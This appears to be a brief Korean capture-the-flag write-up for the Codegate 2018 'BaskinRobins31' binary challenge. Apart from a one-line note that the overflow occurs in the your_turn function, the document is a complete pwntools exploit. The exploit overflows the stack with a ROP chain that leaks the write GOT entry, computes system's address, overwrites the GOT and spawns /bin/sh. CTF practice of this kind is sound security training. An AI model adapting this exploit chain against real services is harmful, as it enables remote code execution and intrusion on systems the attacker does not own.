codegate2018 BaskinRobins31

추천받아서 풀어본 문제

your_turn 함수에서 터지게 된다.

file : http://web.noe.systems/binary/Baskinrobins31

아래는 페이로드

from pwn import *

prob = ELF('./BaskinRobins31')

#print prob.symbols['read']

s = remote("localhost",7777)

dummy = "1"+"A"*183 #0xB0

write_plt = 0x4006d0

write_got = 0x602028

read_plt = 0x400700

read_got = 0x602040

sh = "/bin/sh"

bss = 0x602090

gad = 0x40087a

payload = ""

offset_system = 0xa8e20

print s.recvuntil("How many numbers do you want to take ? (1-3)")

payload+=dummy

payload+=p64(gad)

payload+=p64(1)

payload+=p64(write_got)

payload+=p64(8)

payload+=p64(write_plt)

payload+=p64(gad)

payload+=p64(0)

payload+=p64(bss)

payload+=p64(len(sh))

payload+=p64(read_plt)

payload+=p64(gad)

payload+=p64(0)

payload+=p64(write_got)

payload+=p64(8)

payload+=p64(read_plt)

payload+=p64(0x00400bc3)

payload+=p64(bss)

payload+=p64(write_plt)

s.sendline(payload)

print s.recvuntil("\n")

print s.recvuntil("\n")

print s.recvuntil("\x00")

write = u64(s.recv(7)+"\x00")

system = write-offset_system

s.send(sh)

s.send(p64(system))

s.interactive()